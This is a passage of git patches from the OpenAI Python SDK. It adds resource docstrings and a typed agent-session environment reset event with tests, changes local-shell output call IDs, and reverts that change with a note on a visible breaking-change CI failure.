+ """Create and manage model responses."""
+
@cached_property
def with_raw_response(self) -> InputItemsWithRawResponse:
"""
@@ -113,6 +115,8 @@ def list(
class AsyncInputItems(AsyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def with_raw_response(self) -> AsyncInputItemsWithRawResponse:
"""
diff --git a/src/openai/resources/beta/responses/input_tokens.py b/src/openai/resources/beta/responses/input_tokens.py
index 9047a6b328..74c7b2b94b 100644
--- a/src/openai/resources/beta/responses/input_tokens.py
+++ b/src/openai/resources/beta/responses/input_tokens.py
@@ -23,6 +23,8 @@
class InputTokens(SyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def with_raw_response(self) -> InputTokensWithRawResponse:
"""
@@ -164,6 +166,8 @@ def count(
class AsyncInputTokens(AsyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def with_raw_response(self) -> AsyncInputTokensWithRawResponse:
"""
diff --git a/src/openai/resources/beta/responses/responses.py b/src/openai/resources/beta/responses/responses.py
index 669ce1d8ed..fd12ce08fa 100644
--- a/src/openai/resources/beta/responses/responses.py
+++ b/src/openai/resources/beta/responses/responses.py
@@ -77,12 +77,16 @@
class Responses(SyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def input_items(self) -> InputItems:
+ """Create and manage model responses."""
return InputItems(self._client)
@cached_property
def input_tokens(self) -> InputTokens:
+ """Create and manage model responses."""
return InputTokens(self._client)
@cached_property
@@ -2055,12 +2059,16 @@ def connect(
class AsyncResponses(AsyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def input_items(self) -> AsyncInputItems:
+ """Create and manage model responses."""
return AsyncInputItems(self._client)
@cached_property
def input_tokens(self) -> AsyncInputTokens:
+ """Create and manage model responses."""
return AsyncInputTokens(self._client)
@cached_property
@@ -4054,10 +4062,12 @@ def __init__(self, responses: Responses) -> None:
@cached_property
def input_items(self) -> InputItemsWithRawResponse:
+ """Create and manage model responses."""
return InputItemsWithRawResponse(self._responses.input_items)
@cached_property
def input_tokens(self) -> InputTokensWithRawResponse:
+ """Create and manage model responses."""
return InputTokensWithRawResponse(self._responses.input_tokens)
@@ -4083,10 +4093,12 @@ def __init__(self, responses: AsyncResponses) -> None:
@cached_property
def input_items(self) -> AsyncInputItemsWithRawResponse:
+ """Create and manage model responses."""
return AsyncInputItemsWithRawResponse(self._responses.input_items)
@cached_property
def input_tokens(self) -> AsyncInputTokensWithRawResponse:
+ """Create and manage model responses."""
return AsyncInputTokensWithRawResponse(self._responses.input_tokens)
@@ -4112,10 +4124,12 @@ def __init__(self, responses: Responses) -> None:
@cached_property
def input_items(self) -> InputItemsWithStreamingResponse:
+ """Create and manage model responses."""
return InputItemsWithStreamingResponse(self._responses.input_items)
@cached_property
def input_tokens(self) -> InputTokensWithStreamingResponse:
+ """Create and manage model responses."""
return InputTokensWithStreamingResponse(self._responses.input_tokens)
@@ -4141,10 +4155,12 @@ def __init__(self, responses: AsyncResponses) -> None:
@cached_property
def input_items(self) -> AsyncInputItemsWithStreamingResponse:
+ """Create and manage model responses."""
return AsyncInputItemsWithStreamingResponse(self._responses.input_items)
@cached_property
def input_tokens(self) -> AsyncInputTokensWithStreamingResponse:
+ """Create and manage model responses."""
return AsyncInputTokensWithStreamingResponse(self._responses.input_tokens)
diff --git a/src/openai/resources/responses/input_items.py b/src/openai/resources/responses/input_items.py
index 7be6d24bd7..e421a64aa5 100644
--- a/src/openai/resources/responses/input_items.py
+++ b/src/openai/resources/responses/input_items.py
@@ -23,6 +23,8 @@
class InputItems(SyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def with_raw_response(self) -> InputItemsWithRawResponse:
"""
@@ -108,6 +110,8 @@ def list(
class AsyncInputItems(AsyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def with_raw_response(self) -> AsyncInputItemsWithRawResponse:
"""
diff --git a/src/openai/resources/responses/input_tokens.py b/src/openai/resources/responses/input_tokens.py
index 7487014393..2748ce756c 100644
--- a/src/openai/resources/responses/input_tokens.py
+++ b/src/openai/resources/responses/input_tokens.py
@@ -24,6 +24,8 @@
class InputTokens(SyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def with_raw_response(self) -> InputTokensWithRawResponse:
"""
@@ -160,6 +162,8 @@ def count(
class AsyncInputTokens(AsyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def with_raw_response(self) -> AsyncInputTokensWithRawResponse:
"""
diff --git a/src/openai/resources/responses/responses.py b/src/openai/resources/responses/responses.py
index 581d0bf2ad..24218e232f 100644
--- a/src/openai/resources/responses/responses.py
+++ b/src/openai/resources/responses/responses.py
@@ -103,12 +103,16 @@
class Responses(SyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def input_items(self) -> InputItems:
+ """Create and manage model responses."""
return InputItems(self._client)
@cached_property
def input_tokens(self) -> InputTokens:
+ """Create and manage model responses."""
return InputTokens(self._client)
@cached_property
@@ -1986,12 +1990,16 @@ def connect(
class AsyncResponses(AsyncAPIResource):
+ """Create and manage model responses."""
+
@cached_property
def input_items(self) -> AsyncInputItems:
+ """Create and manage model responses."""
return AsyncInputItems(self._client)
@cached_property
def input_tokens(self) -> AsyncInputTokens:
+ """Create and manage model responses."""
return AsyncInputTokens(self._client)
@cached_property
@@ -3892,10 +3900,12 @@ def __init__(self, responses: Responses) -> None:
@cached_property
def input_items(self) -> InputItemsWithRawResponse:
+ """Create and manage model responses."""
return InputItemsWithRawResponse(self._responses.input_items)
@cached_property
def input_tokens(self) -> InputTokensWithRawResponse:
+ """Create and manage model responses."""
return InputTokensWithRawResponse(self._responses.input_tokens)
@@ -3924,10 +3934,12 @@ def __init__(self, responses: AsyncResponses) -> None:
@cached_property
def input_items(self) -> AsyncInputItemsWithRawResponse:
+ """Create and manage model responses."""
return AsyncInputItemsWithRawResponse(self._responses.input_items)
@cached_property
def input_tokens(self) -> AsyncInputTokensWithRawResponse:
+ """Create and manage model responses."""
return AsyncInputTokensWithRawResponse(self._responses.input_tokens)
@@ -3953,10 +3965,12 @@ def __init__(self, responses: Responses) -> None:
@cached_property
def input_items(self) -> InputItemsWithStreamingResponse:
+ """Create and manage model responses."""
return InputItemsWithStreamingResponse(self._responses.input_items)
@cached_property
def input_tokens(self) -> InputTokensWithStreamingResponse:
+ """Create and manage model responses."""
return InputTokensWithStreamingResponse(self._responses.input_tokens)
@@ -3982,10 +3996,12 @@ def __init__(self, responses: AsyncResponses) -> None:
@cached_property
def input_items(self) -> AsyncInputItemsWithStreamingResponse:
+ """Create and manage model responses."""
return AsyncInputItemsWithStreamingResponse(self._responses.input_items)
@cached_property
def input_tokens(self) -> AsyncInputTokensWithStreamingResponse:
+ """Create and manage model responses."""
return AsyncInputTokensWithStreamingResponse(self._responses.input_tokens)
From 69a2c1db6feacf32be6693809e7cab1c3b49cad7 Mon Sep 17 00:00:00 2001
From: Justin Beckwith
Date: Sat, 19 Sep 2026 20:30:17 +0000
Subject: [PATCH 181/341] feat(api): add session environment reset events
(#3913)
## Summary
Adds a typed event for hosted session environment resets.
## Changes
- Expose AgentSessionEnvironmentResetEvent through the session event
union
- Include the environment ID, reset count, and nullable associated turn
ID
---
.castiron.stats.yml | 14 ++--
api.md | 1 +
api_reference/openapi.transformed.yml | 45 ++++++++++++
src/openai/types/beta/__init__.py | 3 +
.../agent_session_environment_reset_event.py | 36 ++++++++++
src/openai/types/beta/agent_session_event.py | 2 +
tests/test_agent_session_environment_reset.py | 69 +++++++++++++++++++
7 files changed, 163 insertions(+), 7 deletions(-)
create mode 100644 src/openai/types/beta/agent_session_environment_reset_event.py
create mode 100644 tests/test_agent_session_environment_reset.py
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index e37fb11a02..944ef561cc 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 3b89c44c-bf19-47c9-b683-1be98c7acb80
-openapi_spec_hash: c7a2088dc0fb8d92f9a934ba4dca2d80
-openapi_transformed_spec_hash: 7281a983306f72fc39720d7057f11ef7
-config_hash: 60435bd668a5724c530fe7e9d6869e9a
-codegen_sha: 0d282845aeb471e048ae190ee83282de54b69837
-codegen_hash: f5fb16eafe81ef56a1c61fd6488ef4f4217001abd607c3947065ff91de7eca38
-public_codegen_sha: 676b87b991b50c1d09ed6c352db4dfbd8c4a3143
+generation_id: feaf88e6-0c6a-4d57-95a5-0bcc23d7105c
+openapi_spec_hash: ce912f79d7f8cb19a7a515513c214b8a
+openapi_transformed_spec_hash: 352b5a7a028f990b6475b6593e381eee
+config_hash: dde98d9c41cd6f4163320f92c70f83e6
+codegen_sha: 799a1f4d5f6b415088641ca4d3bbb804443ec30e
+codegen_hash: 7d4da50897149f4eab2fa63ac3dbc972694c6dfeb79a01531da408010bff5dcd
+public_codegen_sha: 4b121f228fc198913ea2a56404f38d8f18ca0e86
diff --git a/api.md b/api.md
index fac8e7ea84..dd48a632c8 100644
--- a/api.md
+++ b/api.md
@@ -519,6 +519,7 @@ from openai.types.beta import (
AgentSessionEnvironmentFailedEvent,
AgentSessionEnvironmentPendingEvent,
AgentSessionEnvironmentReadyEvent,
+ AgentSessionEnvironmentResetEvent,
AgentSessionEnvironmentState,
AgentSessionErrorEvent,
AgentSessionEvent,
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 5c02305f97..30f3e65810 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -79179,6 +79179,48 @@ components:
- environment
additionalProperties: false
description: Emitted when a hosted session environment is ready to connect.
+ SessionEventAgentSessionEnvironmentReset:
+ type: object
+ properties:
+ type:
+ type: string
+ enum:
+ - agent.session.environment.reset
+ default: agent.session.environment.reset
+ x-stainless-const: true
+ description: The type of the object. Always `agent.session.environment.reset`.
+ event_id:
+ type: string
+ minLength: 0
+ description: The unique ID of the event.
+ session_id:
+ type: string
+ minLength: 0
+ description: The ID of the session associated with the event.
+ turn_id:
+ type:
+ - string
+ - 'null'
+ minLength: 0
+ description: The associated turn, when applicable.
+ environment_id:
+ type: string
+ minLength: 0
+ description: The stable environment ID, retained across sandbox replacements.
+ reset_count:
+ type: integer
+ format: int64
+ minimum: 0
+ description: Monotonically increasing reset number. Repeated notifications share this number.
+ required:
+ - type
+ - event_id
+ - session_id
+ - turn_id
+ - environment_id
+ - reset_count
+ additionalProperties: false
+ description: Emitted after a hosted sandbox is replaced. Conversation history survives; changes to the previous sandbox's files and processes do not.
SessionEventAgentOutputCommandExecutionOutputDelta:
type: object
properties:
@@ -80366,6 +80408,7 @@ components:
mapping:
error: '#/components/schemas/SessionEventError'
agent.session.environment.ready: '#/components/schemas/SessionEventAgentSessionEnvironmentReady'
+ agent.session.environment.reset: '#/components/schemas/SessionEventAgentSessionEnvironmentReset'
agent.output.command_execution_output.delta: '#/components/schemas/SessionEventAgentOutputCommandExecutionOutputDelta'
agent.session.created: '#/components/schemas/SessionEventAgentSessionCreated'
agent.session.turn.created: '#/components/schemas/SessionEventAgentSessionTurnCreated'
@@ -80397,6 +80440,7 @@ components:
x-oai-discriminator-values:
- error
- agent.session.environment.ready
+ - agent.session.environment.reset
- agent.output.command_execution_output.delta
- agent.session.created
- agent.session.turn.created
@@ -80428,6 +80472,7 @@ components:
anyOf:
- $ref: '#/components/schemas/SessionEventError'
- $ref: '#/components/schemas/SessionEventAgentSessionEnvironmentReady'
+ - $ref: '#/components/schemas/SessionEventAgentSessionEnvironmentReset'
- $ref: '#/components/schemas/SessionEventAgentOutputCommandExecutionOutputDelta'
- $ref: '#/components/schemas/SessionEventAgentSessionCreated'
- $ref: '#/components/schemas/SessionEventAgentSessionTurnCreated'
diff --git a/src/openai/types/beta/__init__.py b/src/openai/types/beta/__init__.py
index 10457dbd0a..dc935b94d0 100644
--- a/src/openai/types/beta/__init__.py
+++ b/src/openai/types/beta/__init__.py
@@ -268,6 +268,9 @@
from .agent_session_environment_ready_event import (
AgentSessionEnvironmentReadyEvent as AgentSessionEnvironmentReadyEvent,
)
+from .agent_session_environment_reset_event import (
+ AgentSessionEnvironmentResetEvent as AgentSessionEnvironmentResetEvent,
+)
from .beta_response_content_part_done_event import BetaResponseContentPartDoneEvent as BetaResponseContentPartDoneEvent
from .beta_response_custom_tool_call_output import BetaResponseCustomToolCallOutput as BetaResponseCustomToolCallOutput
from .beta_response_function_tool_call_item import BetaResponseFunctionToolCallItem as BetaResponseFunctionToolCallItem
diff --git a/src/openai/types/beta/agent_session_environment_reset_event.py b/src/openai/types/beta/agent_session_environment_reset_event.py
new file mode 100644
index 0000000000..aacfd50249
--- /dev/null
+++ b/src/openai/types/beta/agent_session_environment_reset_event.py
@@ -0,0 +1,36 @@
+# File generated from our OpenAPI spec by Castiron. See CONTRIBUTING.md for details.
+
+from typing import Optional
+from typing_extensions import Literal
+
+from ..._models import BaseModel
+
+__all__ = ["AgentSessionEnvironmentResetEvent"]
+
+
+class AgentSessionEnvironmentResetEvent(BaseModel):
+ """Emitted after a hosted sandbox is replaced.
+
+ Conversation history survives; changes to the previous sandbox's files and processes do not.
+ """
+
+ environment_id: str
+ """The stable environment ID, retained across sandbox replacements."""
+
+ event_id: str
+ """The unique ID of the event."""
+
+ reset_count: int
+ """Monotonically increasing reset number.
+
+ Repeated notifications share this number.
+ """
+
+ session_id: str
+ """The ID of the session associated with the event."""
+
+ turn_id: Optional[str] = None
+ """The associated turn, when applicable."""
+
+ type: Literal["agent.session.environment.reset"]
+ """The type of the object. Always `agent.session.environment.reset`."""
diff --git a/src/openai/types/beta/agent_session_event.py b/src/openai/types/beta/agent_session_event.py
index c395f49d6a..ce0e2dec2e 100644
--- a/src/openai/types/beta/agent_session_event.py
+++ b/src/openai/types/beta/agent_session_event.py
@@ -21,6 +21,7 @@
from .agent_session_subagent_created_event import AgentSessionSubagentCreatedEvent
from .agent_session_turn_in_progress_event import AgentSessionTurnInProgressEvent
from .agent_session_environment_ready_event import AgentSessionEnvironmentReadyEvent
+from .agent_session_environment_reset_event import AgentSessionEnvironmentResetEvent
from .agent_session_environment_failed_event import AgentSessionEnvironmentFailedEvent
from .agent_session_environment_pending_event import AgentSessionEnvironmentPendingEvent
from .agent_session_environment_connected_event import AgentSessionEnvironmentConnectedEvent
@@ -41,6 +42,7 @@
Union[
AgentSessionErrorEvent,
AgentSessionEnvironmentReadyEvent,
+ AgentSessionEnvironmentResetEvent,
AgentOutputCommandExecutionOutputDeltaEvent,
AgentSessionCreatedEvent,
AgentSessionTurnCreatedEvent,
diff --git a/tests/test_agent_session_environment_reset.py b/tests/test_agent_session_environment_reset.py
new file mode 100644
index 0000000000..80480567a0
--- /dev/null
+++ b/tests/test_agent_session_environment_reset.py
@@ -0,0 +1,69 @@
+from __future__ import annotations
+
+import json
+
+import httpx2
+import pytest
+
+from openai import OpenAI, AsyncOpenAI
+from openai.types.beta import AgentSessionEnvironmentResetEvent
+
+
+@pytest.mark.asyncio
+@pytest.mark.parametrize("sync", [True, False], ids=["sync", "async"])
+@pytest.mark.parametrize("strict", [False, True], ids=["loose", "strict"])
+@pytest.mark.parametrize(("turn_id", "reset_count"), [(None, 0), ("turn_synthetic", 7)])
+async def test_session_environment_reset_stream(
+ sync: bool, strict: bool, turn_id: str | None, reset_count: int
+) -> None:
+ payload = {
+ "type": "agent.session.environment.reset",
+ "event_id": "event_synthetic",
+ "session_id": "session_synthetic",
+ "environment_id": "environment_synthetic",
+ "turn_id": turn_id,
+ "reset_count": reset_count,
+ }
+
+ def handler(request: httpx2.Request) -> httpx2.Response:
+ assert request.method == "GET"
+ assert request.url.path == "/v1/agents/sessions/session_synthetic/events"
+ return httpx2.Response(
+ 200,
+ headers={"content-type": "text/event-stream"},
+ content=f"data: {json.dumps(payload)}\n\n",
+ )
+
+ if sync:
+ with OpenAI(
+ api_key="synthetic",
+ base_url="https://sdk-test.example/v1",
+ max_retries=0,
+ _strict_response_validation=strict,
+ http_client=httpx2.Client(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as client:
+ with client.beta.agents.sessions.events.stream("session_synthetic") as stream:
+ events = list(stream)
+ assert stream.response.is_closed
+ else:
+ async with AsyncOpenAI(
+ api_key="synthetic",
+ base_url="https://sdk-test.example/v1",
+ max_retries=0,
+ _strict_response_validation=strict,
+ http_client=httpx2.AsyncClient(transport=httpx2.MockTransport(handler), trust_env=False),
+ ) as async_client:
+ async with await async_client.beta.agents.sessions.events.stream("session_synthetic") as async_stream:
+ events = [event async for event in async_stream]
+ assert async_stream.response.is_closed
+
+ assert len(events) == 1
+ event = events[0]
+ assert isinstance(event, AgentSessionEnvironmentResetEvent)
+ assert event.type == "agent.session.environment.reset"
+ assert event.event_id == "event_synthetic"
+ assert event.session_id == "session_synthetic"
+ assert event.environment_id == "environment_synthetic"
+ assert event.turn_id == turn_id
+ assert event.reset_count == reset_count
+ assert event.to_dict() == payload
From 40c334f028529c0b5e8dac65f30c76b314930767 Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Mon, 21 Sep 2026 12:55:36 +0000
Subject: [PATCH 182/341] fix(api)!: declare required local shell output call
IDs (#3923)
Historical local-shell output models now expose required `call_id`
separately from the output item `id`. Supply `call_id` when constructing
these items; `id` and `output` remain required, and historical call IDs
gain no length restriction.
The API reference also removes the phantom `request_id` requirement from
MCP approval objects while preserving their real correlation fields and
returned IDs.
Validation: 81 model checks and 38 schema checks pass, along with lint,
build, Python 3.10/3.14 and HTTPX2 tests.
Co-authored-by: markstuart-oai <323302876+markstuart-oai@users.noreply.github.com>
---
.castiron.stats.yml | 14 +++++++-------
api_reference/openapi.transformed.yml | 16 ++++++++++------
.../types/beta/beta_response_input_item.py | 3 +++
.../types/beta/beta_response_input_item_param.py | 3 +++
.../types/beta/beta_response_input_param.py | 3 +++
src/openai/types/beta/beta_response_item.py | 3 +++
.../types/beta/beta_response_output_item.py | 3 +++
.../types/conversations/conversation_item.py | 3 +++
.../types/responses/response_input_item.py | 3 +++
.../types/responses/response_input_item_param.py | 3 +++
.../types/responses/response_input_param.py | 3 +++
src/openai/types/responses/response_item.py | 3 +++
.../types/responses/response_output_item.py | 3 +++
13 files changed, 50 insertions(+), 13 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 944ef561cc..0678b319a7 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: feaf88e6-0c6a-4d57-95a5-0bcc23d7105c
-openapi_spec_hash: ce912f79d7f8cb19a7a515513c214b8a
-openapi_transformed_spec_hash: 352b5a7a028f990b6475b6593e381eee
-config_hash: dde98d9c41cd6f4163320f92c70f83e6
-codegen_sha: 799a1f4d5f6b415088641ca4d3bbb804443ec30e
-codegen_hash: 7d4da50897149f4eab2fa63ac3dbc972694c6dfeb79a01531da408010bff5dcd
-public_codegen_sha: 4b121f228fc198913ea2a56404f38d8f18ca0e86
+generation_id: 629e9c8a-bc48-431b-87ce-017ebd347f4b
+openapi_spec_hash: 3656dd0f86d28f927d1edce69a5d3e8d
+openapi_transformed_spec_hash: a55d6afc8b41bbe0f9139a1350261e15
+config_hash: 9e898f4e0d2bc336a854079cff546681
+codegen_sha: 9db37548efb3c0074eb6591775314f5bd07c4108
+codegen_hash: 3127c053572a5d66b4546c99e29507e3f2c7c03458b577f027dcf16e88e55ea8
+public_codegen_sha: b01fc07d15ef5bcdd571d410ad0d709cb58769b2
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 30f3e65810..67460ee391 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
@@ -44672,7 +44672,7 @@ components:
id:
type: string
description: |
- The unique ID of the local shell tool call generated by the model.
+ The unique ID of the local shell tool call output.
output:
type: string
description: |
@@ -44687,6 +44687,10 @@ components:
description: |
The status of the item. One of `in_progress`, `completed`, or `incomplete`.
- type: 'null'
+ call_id:
+ type: string
+ description: |
+ The unique ID of the local shell tool call generated by the model.
required:
- id
- type
@@ -44785,7 +44789,6 @@ components:
- type: 'null'
required:
- type
- - request_id
- approve
- approval_request_id
MCPApprovalResponseResource:
@@ -44822,7 +44825,6 @@ components:
required:
- type
- id
- - request_id
- approve
- approval_request_id
MCPListTools:
@@ -86330,7 +86332,6 @@ components:
- type: 'null'
required:
- type
- - request_id
- approve
- approval_request_id
BetaMCPApprovalRequest:
@@ -86842,7 +86843,7 @@ components:
id:
type: string
description: |
- The unique ID of the local shell tool call generated by the model.
+ The unique ID of the local shell tool call output.
output:
type: string
description: |
@@ -86857,6 +86858,10 @@ components:
description: |
The status of the item. One of `in_progress`, `completed`, or `incomplete`.
- type: 'null'
+ call_id:
+ type: string
+ description: |
+ The unique ID of the local shell tool call generated by the model.
required:
- id
- type
@@ -89376,7 +89381,6 @@ components:
required:
- type
- id
- - request_id
- approve
- approval_request_id
BetaApplyPatchToolCallOutput:
diff --git a/src/openai/types/beta/beta_response_input_item.py b/src/openai/types/beta/beta_response_input_item.py
index 51d12ff5ec..1b4cc3bdc6 100644
--- a/src/openai/types/beta/beta_response_input_item.py
+++ b/src/openai/types/beta/beta_response_input_item.py
@@ -599,6 +599,9 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
+ """The unique ID of the local shell tool call output."""
+
+ call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/beta/beta_response_input_item_param.py b/src/openai/types/beta/beta_response_input_item_param.py
index f72706323d..2b850e4447 100644
--- a/src/openai/types/beta/beta_response_input_item_param.py
+++ b/src/openai/types/beta/beta_response_input_item_param.py
@@ -598,6 +598,9 @@ class LocalShellCallOutput(TypedDict, total=False):
"""The output of a local shell tool call."""
id: Required[str]
+ """The unique ID of the local shell tool call output."""
+
+ call_id: Required[str]
"""The unique ID of the local shell tool call generated by the model."""
output: Required[str]
diff --git a/src/openai/types/beta/beta_response_input_param.py b/src/openai/types/beta/beta_response_input_param.py
index 2f640b77aa..99ee2e60ad 100644
--- a/src/openai/types/beta/beta_response_input_param.py
+++ b/src/openai/types/beta/beta_response_input_param.py
@@ -599,6 +599,9 @@ class LocalShellCallOutput(TypedDict, total=False):
"""The output of a local shell tool call."""
id: Required[str]
+ """The unique ID of the local shell tool call output."""
+
+ call_id: Required[str]
"""The unique ID of the local shell tool call generated by the model."""
output: Required[str]
diff --git a/src/openai/types/beta/beta_response_item.py b/src/openai/types/beta/beta_response_item.py
index 875a51ea31..1c5fd88528 100644
--- a/src/openai/types/beta/beta_response_item.py
+++ b/src/openai/types/beta/beta_response_item.py
@@ -438,6 +438,9 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
+ """The unique ID of the local shell tool call output."""
+
+ call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/beta/beta_response_output_item.py b/src/openai/types/beta/beta_response_output_item.py
index 7c2a74ca39..8d9a2830ce 100644
--- a/src/openai/types/beta/beta_response_output_item.py
+++ b/src/openai/types/beta/beta_response_output_item.py
@@ -436,6 +436,9 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
+ """The unique ID of the local shell tool call output."""
+
+ call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/conversations/conversation_item.py b/src/openai/types/conversations/conversation_item.py
index bb10ae15f8..9b3742a997 100644
--- a/src/openai/types/conversations/conversation_item.py
+++ b/src/openai/types/conversations/conversation_item.py
@@ -174,6 +174,9 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
+ """The unique ID of the local shell tool call output."""
+
+ call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/responses/response_input_item.py b/src/openai/types/responses/response_input_item.py
index e34682291d..09e6cf1687 100644
--- a/src/openai/types/responses/response_input_item.py
+++ b/src/openai/types/responses/response_input_item.py
@@ -314,6 +314,9 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
+ """The unique ID of the local shell tool call output."""
+
+ call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/responses/response_input_item_param.py b/src/openai/types/responses/response_input_item_param.py
index f490ad3700..8180eb6511 100644
--- a/src/openai/types/responses/response_input_item_param.py
+++ b/src/openai/types/responses/response_input_item_param.py
@@ -313,6 +313,9 @@ class LocalShellCallOutput(TypedDict, total=False):
"""The output of a local shell tool call."""
id: Required[str]
+ """The unique ID of the local shell tool call output."""
+
+ call_id: Required[str]
"""The unique ID of the local shell tool call generated by the model."""
output: Required[str]
diff --git a/src/openai/types/responses/response_input_param.py b/src/openai/types/responses/response_input_param.py
index 776f1dfafd..7b21a6d9ed 100644
--- a/src/openai/types/responses/response_input_param.py
+++ b/src/openai/types/responses/response_input_param.py
@@ -314,6 +314,9 @@ class LocalShellCallOutput(TypedDict, total=False):
"""The output of a local shell tool call."""
id: Required[str]
+ """The unique ID of the local shell tool call output."""
+
+ call_id: Required[str]
"""The unique ID of the local shell tool call generated by the model."""
output: Required[str]
diff --git a/src/openai/types/responses/response_item.py b/src/openai/types/responses/response_item.py
index 4b14d4dbf0..f79822e9dc 100644
--- a/src/openai/types/responses/response_item.py
+++ b/src/openai/types/responses/response_item.py
@@ -175,6 +175,9 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
+ """The unique ID of the local shell tool call output."""
+
+ call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
diff --git a/src/openai/types/responses/response_output_item.py b/src/openai/types/responses/response_output_item.py
index 9492c2aa42..5942af5906 100644
--- a/src/openai/types/responses/response_output_item.py
+++ b/src/openai/types/responses/response_output_item.py
@@ -173,6 +173,9 @@ class LocalShellCallOutput(BaseModel):
"""The output of a local shell tool call."""
id: str
+ """The unique ID of the local shell tool call output."""
+
+ call_id: str
"""The unique ID of the local shell tool call generated by the model."""
output: str
From febbcdfe39f6887caeb4c3c18e5aabb4404ef59b Mon Sep 17 00:00:00 2001
From: Mark Stuart
Date: Mon, 21 Sep 2026 09:35:31 -0700
Subject: [PATCH 183/341] Revert "fix(api)!: declare required local shell
output call IDs (#3923)" (#3929)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Reverts #3923.
This reverts commit 40c334f028529c0b5e8dac65f30c76b314930767.
The generated SDK changes merged before their source-of-truth changes.
This restores the preceding SDK definitions and generation metadata. The
resulting tracked tree exactly matches the reverted commit’s parent.
Validation: the complete patch is byte-for-byte the inverse of the named
commit. Version manifests and release configuration are unchanged. Local
test suites and new review rounds were not run for this urgent revert;
current-head CI will validate this PR.
Current CI: lint, build, Python 3.10/3.14/HTTPX2 tests, CodeQL and
Castiron checks pass. [Breaking-change
detection](https://github.com/openai/openai-python/actions/runs/35622466455)
fails on the 11 removed `LocalShellCallOutput.call_id` attributes
introduced by #3923. Those removals are the requested exact revert. The
failure remains visible; no detector, release policy or version metadata
was changed.
CI diagnosis: the required [breaking-change
detector](https://github.com/openai/openai-python/actions/runs/35622466455)
compares against current PR base
`40c334f028529c0b5e8dac65f30c76b314930767`. All 11 flagged
`LocalShellCallOutput.call_id` attributes were introduced by #3923 and
are deliberately removed by its exact inverse. The full tracked tree
equals pre-promotion `69a2c1db6feacf32be6693809e7cab1c3b49cad7`; focused
AST comparison also confirms every other field is unchanged.
The existing workflow/detector has no supported unreleased-revert
baseline selection. An explicit repository policy for validating
unreleased reverts against their verified pre-promotion baseline is
needed to reconcile the required check with this rollback. The detector
failure remains visible; no attribute restoration, removal allowlist,
disabled check, forced-success status, retry, or major-version marker
was added.
---
.castiron.stats.yml | 14 +++++++-------
api_reference/openapi.transformed.yml | 16 ++++++----------
.../types/beta/beta_response_input_item.py | 3 ---
.../types/beta/beta_response_input_item_param.py | 3 ---
.../types/beta/beta_response_input_param.py | 3 ---
src/openai/types/beta/beta_response_item.py | 3 ---
.../types/beta/beta_response_output_item.py | 3 ---
.../types/conversations/conversation_item.py | 3 ---
.../types/responses/response_input_item.py | 3 ---
.../types/responses/response_input_item_param.py | 3 ---
.../types/responses/response_input_param.py | 3 ---
src/openai/types/responses/response_item.py | 3 ---
.../types/responses/response_output_item.py | 3 ---
13 files changed, 13 insertions(+), 50 deletions(-)
diff --git a/.castiron.stats.yml b/.castiron.stats.yml
index 0678b319a7..944ef561cc 100644
--- a/.castiron.stats.yml
+++ b/.castiron.stats.yml
@@ -1,8 +1,8 @@
schema_version: 1
-generation_id: 629e9c8a-bc48-431b-87ce-017ebd347f4b
-openapi_spec_hash: 3656dd0f86d28f927d1edce69a5d3e8d
-openapi_transformed_spec_hash: a55d6afc8b41bbe0f9139a1350261e15
-config_hash: 9e898f4e0d2bc336a854079cff546681
-codegen_sha: 9db37548efb3c0074eb6591775314f5bd07c4108
-codegen_hash: 3127c053572a5d66b4546c99e29507e3f2c7c03458b577f027dcf16e88e55ea8
-public_codegen_sha: b01fc07d15ef5bcdd571d410ad0d709cb58769b2
+generation_id: feaf88e6-0c6a-4d57-95a5-0bcc23d7105c
+openapi_spec_hash: ce912f79d7f8cb19a7a515513c214b8a
+openapi_transformed_spec_hash: 352b5a7a028f990b6475b6593e381eee
+config_hash: dde98d9c41cd6f4163320f92c70f83e6
+codegen_sha: 799a1f4d5f6b415088641ca4d3bbb804443ec30e
+codegen_hash: 7d4da50897149f4eab2fa63ac3dbc972694c6dfeb79a01531da408010bff5dcd
+public_codegen_sha: 4b121f228fc198913ea2a56404f38d8f18ca0e86
diff --git a/api_reference/openapi.transformed.yml b/api_reference/openapi.transformed.yml
index 67460ee391..30f3e65810 100644
--- a/api_reference/openapi.transformed.yml
+++ b/api_reference/openapi.transformed.yml
